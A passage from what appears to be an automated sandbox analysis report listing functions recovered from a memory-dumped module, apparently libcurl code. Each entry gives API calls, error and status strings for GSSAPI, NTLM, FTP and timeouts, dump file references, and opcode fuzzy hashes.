                                                                                                                                      • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6BDAD27A
                                                                                                                                      • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6BDAD2CC
                                                                                                                                      • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6BDAD2F9
                                                                                                                                      • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6BDAD362
                                                                                                                                      • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6BDAD4C1
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 885266447-0
                                                                                                                                      • Opcode ID: 3d67c51967f03d02fb5fe6d83431eab8f81d945c7a8a54e34ad09d046fffe5dd
                                                                                                                                      • Instruction ID: d1e7c960ca727cfb3817449e81faa3ada6a73c6b1d8e1200d7e681382ffb2b75
                                                                                                                                      • Opcode Fuzzy Hash: 3d67c51967f03d02fb5fe6d83431eab8f81d945c7a8a54e34ad09d046fffe5dd
                                                                                                                                      • Instruction Fuzzy Hash: DBA1D674E406049FDB10DF68C891BAA7BB9EF85324F1446B9EC1C9F245DB74A940C7A1
                                                                                                                                      Function 6BDC4F30 Relevance: 9.1, APIs: 6, Instructions: 104COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • VerSetConditionMask.KERNEL32(00000000,00000000,00000002,00000004,?,?), ref: 6BDC500B
                                                                                                                                      • VerSetConditionMask.KERNEL32(00000000,?,00000001,00000004,?,?), ref: 6BDC5012
                                                                                                                                      • VerSetConditionMask.KERNEL32(00000000,?,00000020,00000005,?,00000001,00000004,?,?), ref: 6BDC501F
                                                                                                                                      • VerSetConditionMask.KERNEL32(00000000,?,00000010,00000005,?,00000020,00000005,?,00000001,00000004,?,?), ref: 6BDC5026
                                                                                                                                      • VerSetConditionMask.KERNEL32(00000000,?,00000008,00000001,?,00000010,00000005,?,00000020,00000005,?,00000001,00000004,?,?), ref: 6BDC5032
                                                                                                                                      • VerifyVersionInfoA.KERNEL32(0000009C,00000033,00000000), ref: 6BDC503F
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: ConditionMask$InfoVerifyVersion
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 2793162063-0
                                                                                                                                      • Opcode ID: 937db7125ae2da641190b67c128d75e206f3282036e3c6b6849ac5e5ce5b1299
                                                                                                                                      • Instruction ID: d0bef9590cd64668437ef4d9fc1f2813d48d848924b3498207cb131907e2f2cc
                                                                                                                                      • Opcode Fuzzy Hash: 937db7125ae2da641190b67c128d75e206f3282036e3c6b6849ac5e5ce5b1299
                                                                                                                                      • Instruction Fuzzy Hash: 88316470B44358AEFF20CB688C45F9FBBB8AB46715F0000D9B54CAB281C7759E548F62
                                                                                                                                      Function 6BDC6410 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 343COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • htonl.WS2_32(?), ref: 6BDC65CA
                                                                                                                                      • htonl.WS2_32(?), ref: 6BDC6626
                                                                                                                                        • Part of subcall function 6BDB06B0: curl_mvsnprintf.LIBCURL(?,00000801,00000000,6BDA6C24), ref: 6BDB06EF
                                                                                                                                        • Part of subcall function 6BDB06B0: curl_msnprintf.LIBCURL(?,00000004,...,?,?,?,00000E20), ref: 6BDB072F
                                                                                                                                      Strings
                                                                                                                                      • GSSAPI handshake failure (empty security message), xrefs: 6BDC6561, 6BDC681F
                                                                                                                                      • GSSAPI handshake failure (invalid security data), xrefs: 6BDC6583
                                                                                                                                      • GSSAPI handshake failure (invalid security layer), xrefs: 6BDC65BA
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: htonl$curl_msnprintfcurl_mvsnprintf
                                                                                                                                      • String ID: GSSAPI handshake failure (empty security message)$GSSAPI handshake failure (invalid security data)$GSSAPI handshake failure (invalid security layer)
                                                                                                                                      • API String ID: 3222853418-242323837
                                                                                                                                      • Opcode ID: e1ec1b4db0cb0002e9aff597a578cb739748eb78dff330c87d06fb4766bd895a
                                                                                                                                      • Instruction ID: 04a8460f090a6faddcf187cdf9b40db5fa3fbb34e2b1b1826e29fe8452f15b0a
                                                                                                                                      • Opcode Fuzzy Hash: e1ec1b4db0cb0002e9aff597a578cb739748eb78dff330c87d06fb4766bd895a
                                                                                                                                      • Instruction Fuzzy Hash: 76D16C75D00218DBDF01CFE8D845BAEBBF9FF08315F1041A9E80AAB251D73A9915DB61
                                                                                                                                      Function 6BDA88F0 Relevance: 9.1, APIs: 1, Strings: 4, Instructions: 338COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      Strings
                                                                                                                                      • Connection timed out after %I64d milliseconds, xrefs: 6BDA8A47
                                                                                                                                      • Operation timed out after %I64d milliseconds with %I64d out of %I64d bytes received, xrefs: 6BDA8A9F
                                                                                                                                      • Resolving timed out after %I64d milliseconds, xrefs: 6BDA8A12
                                                                                                                                      • Operation timed out after %I64d milliseconds with %I64d bytes received, xrefs: 6BDA8AD1
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: curl_mvsnprintf
                                                                                                                                      • String ID: Connection timed out after %I64d milliseconds$Operation timed out after %I64d milliseconds with %I64d bytes received$Operation timed out after %I64d milliseconds with %I64d out of %I64d bytes received$Resolving timed out after %I64d milliseconds
                                                                                                                                      • API String ID: 3418963191-3898356422
                                                                                                                                      • Opcode ID: 18a771859934891704c9c0a74aedfd0aeca0cfea7d59545cf8cb608df915126f
                                                                                                                                      • Instruction ID: 3ecb4e4b5a01f886af525ba414095f83997c975cdc2179fd12c4cc0bf1aee235
                                                                                                                                      • Opcode Fuzzy Hash: 18a771859934891704c9c0a74aedfd0aeca0cfea7d59545cf8cb608df915126f
                                                                                                                                      • Instruction Fuzzy Hash: 63C11A70A00740AFE7109F39CD82F9B77E4EF45328F004599E8599F252E73AEA45C7A6
                                                                                                                                      Function 6BD895D0 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 253COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID:
                                                                                                                                      • String ID: ../$/..$/../$/./
                                                                                                                                      • API String ID: 0-456519384
                                                                                                                                      • Opcode ID: 1045a8f4480cb308ef91307b1a3abb5641c0ca5488097d4eb842ca8b923d29c1
                                                                                                                                      • Instruction ID: 1a2e1a323405d92a8c4f4891e993e1beff6b2dcc21145f6612a64edc7f5ebeb2
                                                                                                                                      • Opcode Fuzzy Hash: 1045a8f4480cb308ef91307b1a3abb5641c0ca5488097d4eb842ca8b923d29c1
                                                                                                                                      • Instruction Fuzzy Hash: 44712A66E0C181DAD7120F785C927667FA6DB5367AF9810E9D8C58F203E31F8509D3A1
                                                                                                                                      Function 6BD862C0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 199COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • curl_strnequal.LIBCURL(Set-Cookie:,00000000,0000000B,?,?,?,?,?,?,?), ref: 6BD86449
                                                                                                                                      • curl_slist_free_all.LIBCURL(?), ref: 6BD864F5
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: curl_slist_free_allcurl_strnequal
                                                                                                                                      • String ID: Set-Cookie:$ignoring failed cookie_init for %s$none
                                                                                                                                      • API String ID: 2653667558-4095489131
                                                                                                                                      • Opcode ID: bdd924e875373eac735bbad48d9779e35f4e7d22ddb686d1fb62cc5866d6f3d9
                                                                                                                                      • Instruction ID: 34ce338213f3294b03f43680476b68a7b716506307667eeb2c0ad415426c5579
                                                                                                                                      • Opcode Fuzzy Hash: bdd924e875373eac735bbad48d9779e35f4e7d22ddb686d1fb62cc5866d6f3d9
                                                                                                                                      • Instruction Fuzzy Hash: 9461E5B1D04341ABEB014F649842B9E7BA55F1673DF0840E8ED896F242E77A9605C7B2
                                                                                                                                      Function 6BD9E0E0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 179COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • curl_maprintf.LIBCURL(%sAuthorization: NTLM %s,Proxy-,00000000,?,?,?,?,?,?,00000000,?), ref: 6BD9E253
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: curl_maprintf
                                                                                                                                      • String ID: %sAuthorization: NTLM %s$HTTP$Proxy-
                                                                                                                                      • API String ID: 3307269620-3667642693
                                                                                                                                      • Opcode ID: 9cdc21f0ce7c8f534962ddc325663e90c93d2457de23402ed3696bc804471b1d
                                                                                                                                      • Instruction ID: af17a1dfd81abc96d714047cdd1c8e68c4a9305323acbf56f815db7ac0d7afc7
                                                                                                                                      • Opcode Fuzzy Hash: 9cdc21f0ce7c8f534962ddc325663e90c93d2457de23402ed3696bc804471b1d
                                                                                                                                      • Instruction Fuzzy Hash: 77716E75A00609EFDB11CFA8D8417AEBBF5FB49315F0041A9E848EB340D776AA54DFA0
                                                                                                                                      Function 6BD943E0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 170COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • ___from_strstr_to_strchr.LIBCMT ref: 6BD944EA
                                                                                                                                      Strings
                                                                                                                                      • Invalid IPv6 address format, xrefs: 6BD944D7
                                                                                                                                      • %25, xrefs: 6BD9446A
                                                                                                                                      • Please URL encode %% as %%25, see RFC 6874., xrefs: 6BD9447B
                                                                                                                                      • No valid port number in connect to host string (%s), xrefs: 6BD9452E
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: ___from_strstr_to_strchr
                                                                                                                                      • String ID: %25$Invalid IPv6 address format$No valid port number in connect to host string (%s)$Please URL encode %% as %%25, see RFC 6874.
                                                                                                                                      • API String ID: 601868998-2404041592
                                                                                                                                      • Opcode ID: b5c3be4cdad2a5dbc59a653b4edfa06b245fae71115306fd3a4a5bca2b03e1f8
                                                                                                                                      • Instruction ID: 2e2b74845b628a5c52367364659f134db6dbb3700a776763fc028141076ead40
                                                                                                                                      • Opcode Fuzzy Hash: b5c3be4cdad2a5dbc59a653b4edfa06b245fae71115306fd3a4a5bca2b03e1f8
                                                                                                                                      • Instruction Fuzzy Hash: E65119B09042469BDB316FA8BC517963BE59F02335F0401E5ECB98E243E77DC516ABB2
                                                                                                                                      Function 6BD94590 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 161COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • curl_maprintf.LIBCURL(%s%s%s,6BDED4D4,?,6BDED4D0,?,00000000,00000000,?,?,6BD9308E,?,00000000,?), ref: 6BD94603
                                                                                                                                      • ___from_strstr_to_strchr.LIBCMT ref: 6BD94663
                                                                                                                                        • Part of subcall function 6BDB06B0: curl_mvsnprintf.LIBCURL(?,00000801,00000000,6BDA6C24), ref: 6BDB06EF
                                                                                                                                        • Part of subcall function 6BDB06B0: curl_msnprintf.LIBCURL(?,00000004,...,?,?,?,00000E20), ref: 6BDB072F
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: ___from_strstr_to_strchrcurl_maprintfcurl_msnprintfcurl_mvsnprintf
                                                                                                                                      • String ID: %s%s%s$Connecting to hostname: %s$Connecting to port: %d
                                                                                                                                      • API String ID: 3946109057-1840313707
                                                                                                                                      • Opcode ID: 3f7282ea1985a8f1a5daaf77fbe7750a4b40ae7c3ea382108ff194f2d1a2b9ab
                                                                                                                                      • Instruction ID: 089a25775302dcc7474dd7eaea6778157b93dd15c702cab1a6f9a37a82cded7e
                                                                                                                                      • Opcode Fuzzy Hash: 3f7282ea1985a8f1a5daaf77fbe7750a4b40ae7c3ea382108ff194f2d1a2b9ab
                                                                                                                                      • Instruction Fuzzy Hash: 1251C375D05259AFDB119FA898406DA7BB8AF46334F0441E9EC789F242E7389A018FE1
                                                                                                                                      Function 6BD9DFD0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 102COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • curl_strnequal.LIBCURL(NTLM,6BD9B6E6,00000004,00000DD0,?,?,?,6BD9B6E6,?,?,?,?,?,?,00000000,?), ref: 6BD9E00B
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: curl_strnequal
                                                                                                                                      • String ID: NTLM$NTLM auth restarted$NTLM handshake failure (internal error)$NTLM handshake rejected
                                                                                                                                      • API String ID: 482932555-2258391893
                                                                                                                                      • Opcode ID: c49c644521a5a5d9fa16eb9afbf7a651b44a02b2977f71f02d8a73919d121983
                                                                                                                                      • Instruction ID: 3a9fb6d593f0d97f884857040266083a97dd11c0de974bf083ec68c52473d290
                                                                                                                                      • Opcode Fuzzy Hash: c49c644521a5a5d9fa16eb9afbf7a651b44a02b2977f71f02d8a73919d121983
                                                                                                                                      • Instruction Fuzzy Hash: 9D21E9B6A101056BFB106F74FC4179A7B99EF41379F104472EC5C8F102E73AD6299670
                                                                                                                                      Function 6BDDC4C3 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMONLIBRARYCODE
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,6BDDC475,?,?,6BDDC43D,?,00000000,?), ref: 6BDDC4D8
                                                                                                                                      • GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 6BDDC4EB
                                                                                                                                      • FreeLibrary.KERNEL32(00000000,?,?,6BDDC475,?,?,6BDDC43D,?,00000000,?), ref: 6BDDC50E
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: AddressFreeHandleLibraryModuleProc
                                                                                                                                      • String ID: CorExitProcess$mscoree.dll
                                                                                                                                      • API String ID: 4061214504-1276376045
                                                                                                                                      • Opcode ID: 1090ba4d59b0ff6cc0a97c515aead40d7a6532b9101bce0913952c5f2a095e44
                                                                                                                                      • Instruction ID: a85d71d1467458868f4f600d535b085077456c1eb63eb582ee7a03a2277378a5
                                                                                                                                      • Opcode Fuzzy Hash: 1090ba4d59b0ff6cc0a97c515aead40d7a6532b9101bce0913952c5f2a095e44
                                                                                                                                      • Instruction Fuzzy Hash: DEF08230901218FBEF029B50C809B9EBF69EB01365F000060B841A9090DB38DF06EB90
                                                                                                                                      Function 6BDE5E4D Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • _free.LIBCMT ref: 6BDE5E65
                                                                                                                                        • Part of subcall function 6BDDF7EA: RtlFreeHeap.NTDLL(00000000,00000000,?,6BDE5EE0,6BE038A0,00000000,6BE038A0,00000000,?,6BDE5F07,6BE038A0,00000007,6BE038A0,?,6BDE532A,6BE038A0), ref: 6BDDF800
                                                                                                                                        • Part of subcall function 6BDDF7EA: GetLastError.KERNEL32(6BE038A0,?,6BDE5EE0,6BE038A0,00000000,6BE038A0,00000000,?,6BDE5F07,6BE038A0,00000007,6BE038A0,?,6BDE532A,6BE038A0,6BE038A0), ref: 6BDDF812
                                                                                                                                      • _free.LIBCMT ref: 6BDE5E77
                                                                                                                                      • _free.LIBCMT ref: 6BDE5E89
                                                                                                                                      • _free.LIBCMT ref: 6BDE5E9B
                                                                                                                                      • _free.LIBCMT ref: 6BDE5EAD
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: _free$ErrorFreeHeapLast
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 776569668-0
                                                                                                                                      • Opcode ID: f9b2db63e549a9ec491848bd3066cb3bed1f1e1633d9ae4f6472124b5d8bbba1
                                                                                                                                      • Instruction ID: 6366f55289227111344d51242ef922740c293c1450bfc38a33c8999f2d248d2c
                                                                                                                                      • Opcode Fuzzy Hash: f9b2db63e549a9ec491848bd3066cb3bed1f1e1633d9ae4f6472124b5d8bbba1
                                                                                                                                      • Instruction Fuzzy Hash: 1DF037B1904605EBCA14DBB8E1D6C5B33E9BB00B787600C4EE158DF500CB39F8808BB4
                                                                                                                                      Function 6BD85C60 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 335COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                        • Part of subcall function 6BD86970: inet_pton.WS2_32(00000002,?,?), ref: 6BD8699A
                                                                                                                                        • Part of subcall function 6BD86970: inet_pton.WS2_32(00000017,?,?), ref: 6BD869AB
                                                                                                                                      • inet_pton.WS2_32(00000002,?,?), ref: 6BD85CC3
                                                                                                                                      • inet_pton.WS2_32(00000017,?,?), ref: 6BD85CD2
                                                                                                                                      • ___from_strstr_to_strchr.LIBCMT ref: 6BD85D8E
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: inet_pton$___from_strstr_to_strchr
                                                                                                                                      • String ID: /
                                                                                                                                      • API String ID: 1475684856-2043925204
                                                                                                                                      • Opcode ID: ad2af957d2000ee4a395475cf8947e8e8d01cc1a1f9b60f25259d2c350551ae8
                                                                                                                                      • Instruction ID: 6597b590e7fef328e8e0fc7dcc07f83506991990a80f77d4088754fda78b311d
                                                                                                                                      • Opcode Fuzzy Hash: ad2af957d2000ee4a395475cf8947e8e8d01cc1a1f9b60f25259d2c350551ae8
                                                                                                                                      • Instruction Fuzzy Hash: 2DC1D2B4A01646DBDF118FB8C944AABB7F4AF0532AF0400A8ED57DF241EB39E514DB61
                                                                                                                                      Function 6BD8CD00 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 166networkCOMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • WSAGetLastError.WS2_32(?,?,?,?,?,?,?,?,?,?,6BD8D060,?,?,6BD8BEF5), ref: 6BD8CE4D
                                                                                                                                      Strings
                                                                                                                                      • FTP response aborted due to select/poll error: %d, xrefs: 6BD8CE54
                                                                                                                                      • We got a 421 - timeout!, xrefs: 6BD8CE70
                                                                                                                                      • FTP response timeout, xrefs: 6BD8CE98
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: ErrorLast
                                                                                                                                      • String ID: FTP response aborted due to select/poll error: %d$FTP response timeout$We got a 421 - timeout!
